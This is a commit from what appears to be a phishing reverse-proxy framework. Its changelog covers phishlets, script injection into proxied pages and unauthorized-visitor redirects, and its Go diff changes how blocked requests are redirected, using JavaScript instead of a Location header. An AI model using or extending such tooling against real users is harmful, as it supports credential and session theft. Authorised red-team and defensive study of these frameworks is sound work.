blocked requests redirected with javascript

This commit is contained in:
Kuba Gretzky 2023-08-24 11:56:32 +02:00
parent 7a959bb807
commit a8d2cd3fd0
2 changed files with 2 additions and 5 deletions

View File

@ -6,6 +6,7 @@
- Feature: You can now override globally set unauthorized redirect URL per phishlet with `phishlet unauth_url <phishlet> <url>`.
- Fixed: Disabled caching for HTML and Javascript content to make on-the-fly proxied content replacements and injections more reliable.
- Fixed: Improved JS injection by adding `<script src"...">` references into HTML pages, instead of dumping the whole script there.
- Fixed: Blocked requests will now redirect using javascript, instead of HTTP location header.
- Fixed: Changed `redirect_url` to `unauth_url` in global config to avoid confusion.
- Fixed: Fixed HTTP status code response for Javascript redirects.
- Fixed: Javascript redirects now happen on `text/html` pages with valid HTML content.

View File

@ -1155,11 +1155,7 @@ func (p *HttpProxy) blockRequest(req *http.Request) (*http.Request, *http.Respon
}
if redirect_url != "" {
resp := goproxy.NewResponse(req, "text/html", http.StatusFound, "")
if resp != nil {
resp.Header.Add("Location", redirect_url)
return req, resp
}
return p.javascriptRedirect(req, redirect_url)
} else {
resp := goproxy.NewResponse(req, "text/html", http.StatusForbidden, "")
if resp != nil {